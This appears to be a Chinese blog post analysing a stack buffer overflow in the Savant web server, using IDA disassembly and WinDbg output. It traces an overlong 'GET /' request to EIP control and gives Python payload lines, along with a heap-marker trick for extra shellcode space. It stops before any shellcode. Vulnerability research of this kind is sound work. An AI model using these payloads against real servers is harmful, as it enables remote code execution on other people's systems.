补一下之前的坑
1.总览
关键调用点有2个. 1: j_Recv_Data_Unpack 2: j_File_Handler
.text:0040BE00 ; int __cdecl Socket_Handle(int, int, int, int, int, int, int, int)
.text:0040BE00 ; ---------------------------------------------------------------------------
.text:0040BE63 loc_40BE63: ; CODE XREF: Socket_Handle+11A↓j
.text:0040BE63 lea eax, [ebp+String1]
.text:0040BE69 push eax ; lpsz
.text:0040BE6A lea ecx, [ebp+var_2C]
.text:0040BE6D push ecx ; int
.text:0040BE6E call ==j_Recv_Data_Unpack== ;接收原始数据并解析数据包
.text:0040BE73 add esp, 8
.text:0040BE76 mov [ebp+var_4], eax
.text:0040BE79 mov edx, [ebp+var_4]
.text:0040BE7C mov [ebp+var_141C], edx
.text:0040BE82 mov eax, [ebp+var_141C]
.text:0040BE88 add eax, 1 ; switch 4 cases
.text:0040BE8B mov [ebp+var_141C], eax ; eax = 2
.text:0040BE91 cmp [ebp+var_141C], 3
.text:0040BE98 ja short def_40BEA0 ; jumptable 0040BEA0 default case
.text:0040BE9A mov ecx, [ebp+var_141C]
.text:0040BEA0 jmp ds:jpt_40BEA0[ecx*4] ; switch jump
.text:0040BEA7 ; ---------------------------------------------------------------------------
.text:0040BEA7
.text:0040BEA7 loc_40BEA7: ; CODE XREF: Socket_Handle+A0↑j
.text:0040BEA7 ; DATA XREF: .text:jpt_40BEA0↓o
.text:0040BEA7 lea edx, [ebp+String1] ; jumptable 0040BEA0 case 1
.text:0040BEAD push edx ; String1
.text:0040BEAE lea eax, [ebp+var_2C]
.text:0040BEB1 push eax ; int
.text:0040BEB2 call ==j_File_Handler== ;数据包功能处理
.text:0040BEB7 add esp, 8
.text:0040BEBA mov [ebp+var_8], 0
.text:0040BEC1 jmp short def_40BEA0 ; jumptable 0040BEA0 default case
2. Recv_Data_Unpack 数据处理流程
.text:00406463 mov ecx, [ebp+arg_0]
.text:00406466 mov edx, [ecx]
.text:00406468 push edx ; int
.text:00406469 lea eax, [ebp+var_6E0]
.text:0040646F push eax ; int
.text:00406470 lea ecx, [ebp+var_6DC]
.text:00406476 push ecx ; int
.text:00406477 mov edx, [ebp+arg_0]
.text:0040647A mov eax, [edx+8]
.text:0040647D push eax ; len = 4000H
.text:0040647E mov ecx, [ebp+arg_0]
.text:00406481 mov edx, [ecx+4]
.text:00406484 push edx ; buf
.text:00406485 mov eax, [ebp+arg_0]
.text:00406488 mov ecx, [eax+0Ch]
.text:0040648B push ecx ; s
.text:0040648C lea edx, [ebp+Destination]
.text:00406492 push edx ; int
.text:00406493 call ==j_Recv_Check== ;接收原始数据并初步处理
2.1 Recv_Check 数据处理流程
2.1.1 调用包装函数recv_wrap:
.text:00414440 mov ecx, [ebp+len]
.text:00414443 push ecx ; len
.text:00414444 mov edx, [ebp+buf]
.text:00414447 push edx ; buf
.text:00414448 mov eax, [ebp+s]
.text:0041444B push eax ; s
.text:0041444C call j_recv_wrap
2.1.2 调用系统函数recv接收原始数据:
.text:00414348 push 0 ; flags
.text:0041434A mov ecx, [ebp+len]
.text:0041434D push ecx ; len
.text:0041434E mov edx, [ebp+buf]
.text:00414351 push edx ; buf
.text:00414352 mov eax, [ebp+s]
.text:00414355 push eax ; s
.text:00414356 call recv
.text:0041435B mov [ebp+wsock32_recv], eax
.text:00414361 cmp [ebp+wsock32_recv], 0
.text:00414368 jnz short loc_41436F
.text:0041436A or eax, 0FFFFFFFFh
.text:0041436D jmp short loc_4143D6
2.1.3 循环复制原始数据并判断结束标识\r\n:
2.1.4 判断数据大小在12CH以内.
.text:004144C9 cmp [ebp+count], 12Ch
.text:004144D0 jnz short loc_4144E4
.text:004144D2 push offset aTcpBufferOverf ; "TCP buffer overflow"
.text:004144D7 call sub_4011B3
.text:004144DC add esp, 4
.text:004144DF or eax, 0FFFFFFFFh
.text:004144E2 jmp short loc_4144EF
2.2 进一步处理数据
用’/'分割数据(数据头,数据体)拷贝到局部变量
.text:00406535 mov [ebp+var_6E4], 0
.text:0040653F lea edx, [ebp+var_6E8]
.text:00406545 push edx ; int
.text:00406546 mov eax, [ebp+var_6E4]
.text:0040654C push eax ; int
.text:0040654D lea ecx, [ebp+Destination]
.text:00406553 push ecx ; int
.text:00406554 mov edx, [ebp+lpsz]
.text:00406557 push edx ; void *
.text:00406558 call sub_401005
.text:0040655D add esp, 10h
.text:00406560 mov eax, [ebp+lpsz]
.text:00406563 push eax ; lpsz
.text:00406564 call ds:__imp_CharUpperA
.text:0040656A lea ecx, [ebp+var_6E4]
.text:00406570 push ecx ; int
.text:00406571 lea edx, [ebp+Destination]
.text:00406577 push edx ; Str
.text:00406578 mov eax, [ebp+lpsz]
.text:0040657B add eax, 218h
.text:00406580 push eax ; void *
.text:00406581 call sub_40125D
.text:00406586 add esp, 0Ch
.text:00406589 mov ecx, [ebp+lpsz]
.text:0040658C add ecx, 218h
.text:00406592 push ecx ; lpsz
.text:00406593 call ds:__imp_CharUpperA
2.3 进行HTTP头信息处理
因为发送的数据包不包含完整的HTTP头信息,所以jz不会生效.
.text:00406599 push 5 ; MaxCount
.text:0040659B push offset aHttp_0 ; "HTTP/"
.text:004065A0 mov edx, [ebp+lpsz]
.text:004065A3 add edx, 218h
.text:004065A9 push edx ; Str1
.text:004065AA call _strncmp
.text:004065AF add esp, 0Ch
.text:004065B2 test eax, eax
.text:004065B4 jz short loc_4065F6
2.4 再次进行数据处理
将数据只保存数据体.
EAX返回值决定了逻辑处理时的跳转
.text:004065B6 lea eax, [ebp+Destination]
.text:004065BC push eax ; Str
.text:004065BD call _strlen
.text:004065C2 add esp, 4
.text:004065C5 add eax, 1
.text:004065C8 sub eax, [ebp+var_6E8]
.text:004065CE push eax ; Size
.text:004065CF mov ecx, [ebp+var_6E8]
.text:004065D5 lea edx, [ebp+ecx+Destination]
.text:004065DC push edx ; Src
.text:004065DD mov eax, [ebp+lpsz]
.text:004065E0 add eax, 18h
.text:004065E3 push eax ; void *
.text:004065E4 call _memcpy
.text:004065E9 add esp, 0Ch
.text:004065EC mov eax, 1
.text:004065F1 jmp loc_406F59
3. File_Handler 数据处理流程
3.1 获取文件名
.text:0040BFAC lea eax, [ebp+var_320]
.text:0040BFB2 push eax ; int
.text:0040BFB3 lea ecx, [ebp+var_4]
.text:0040BFB6 push ecx ; int
.text:0040BFB7 lea edx, [ebp+FileName]
.text:0040BFBD push edx ; char *
.text:0040BFBE lea eax, [ebp+var_310]
.text:0040BFC4 push eax ; char *
.text:0040BFC5 lea ecx, [ebp+Destination]
.text:0040BFCB push ecx ; Destination
.text:0040BFCC mov edx, [ebp+String1]
.text:0040BFCF push edx ; int
.text:0040BFD0 mov eax, [ebp+arg_0]
.text:0040BFD3 push eax ; int
.text:0040BFD4 mov ecx, [ebp+String1]
.text:0040BFD7 add ecx, 18h
.text:0040BFDA push ecx ; Str
.text:0040BFDB call Get_FileName ;获取文件名
3.2 Get_FileName 溢出产生
3.2.1 FileName = “C:\Savant\Root.”
3.2.2 FileName = “C:\Savant\Root”
3.3.3 FileName = “C:\Savant\Root” + 数据体(去掉起始字符 ‘/’)
3.3.4 在调用Get_FileName时传入的 FileName 只分配了108H的栈空间.此时EBP会被覆盖
.text:0040BFA0 FileName = byte ptr -108h
3.3.5 此时EBP数据己经被覆盖了
在函数RET前查看一下数据情况:
1. ebp 己经被覆盖.
2. ebp + C 是原始数据.
eax=00000000 ebx=00492cc8 ecx=00437f84 edx=03f52e5c esi=00492cc8 edi=0041703c
eip=00411abe esp=03f5e694 ebp=03f5ea24 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Savant+0x11abe:
00411abe c3 ret
0:007> dds ebp L3
03f5ea24 41414141
03f5ea28 00414141 Savant+0x14141
03f5ea2c 03f5fe70
0:007> db poi(ebp+c)
03f5ea84 47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00 GET.............
03f5ea94 00 00 00 00 00 00 00 00-2f 41 41 41 41 41 41 41 ......../AAAAAAA
03f5eaa4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03f5eab4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03f5eac4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03f5ead4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03f5eae4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03f5eaf4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3.3 控制EIP
回到 File_Handler 继续执行到函数结束,则会控制EIP.
1. 注意此时ESP的数据,RET执行后EIP = 00414141.
2. 此时ESP + 4 = 原始数据.
0:007> g
Breakpoint 0 hit
eax=ffffffff ebx=00492cc8 ecx=dd3eb344 edx=00000000 esi=00492cc8 edi=0041703c
eip=0040c108 esp=03f5ea28 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
Savant+0xc108:
0040c108 c3 ret
0:007> dds esp L3
03f5ea28 00414141 Savant+0x14141
03f5ea2c 03f5fe70
03f5ea30 03f5ea84
4. Shellcode 注意点
4.1 控制EIP时注意注入长度
size = 256
buf = b"GET /" + b"\x41" * size + b"\r\n\r\n"
4.1.2 size 下限
溢出长度下限为: 108H - F(C:\Savant\Root) = F9 ;
4.1.2 为什么只溢出7个字符
- 大于8个字符时会出现以下情况
.text:0040C05C mov eax, [ebp+8]
.text:0040C05F mov ecx, [eax]
-------------------------------------------------
0:007> dds ebp L8
03f4ea24 41414141
03f4ea28 41414141
03f4ea2c 41414141
-------------------------------------------------
此时程序虽然会异常,但无法控制EIP.
0:007> t
(2184.14e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00582cc8 ecx=46779455 edx=00000000 esi=00582cc8 edi=0041703c
eip=0040c05f esp=03f4e6b8 ebp=03f4ea24 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:002b:41414141=????????
- 小于4个字节也无法控制EIP. 因为 pop ebp , 所以前4个字节用来占位.
- 那后面需要使用RET来控制EIP跳转, 8个字节不是正合适用来存放地址. 参考之前文章: 传送门
4.2 溢出空间太小,需要增大一些
recv 在读取数据时分配了堆空间(4M)来进行存储,所以数据是保存在堆中. 使用方法参考之前文章: 传送门
size = 256
buf = b"GET /" + b"\x41" * size + b"\r\n\r\n" + b"wonderful" + b"\44" * 512
------------------------------------------------------
0:007> s -a 0 L?FFFFFFFF wonderful
043c8186 77 6f 6e 64 65 72 66 75-6c 44 44 44 44 44 44 44 wonderfulDDDDDDD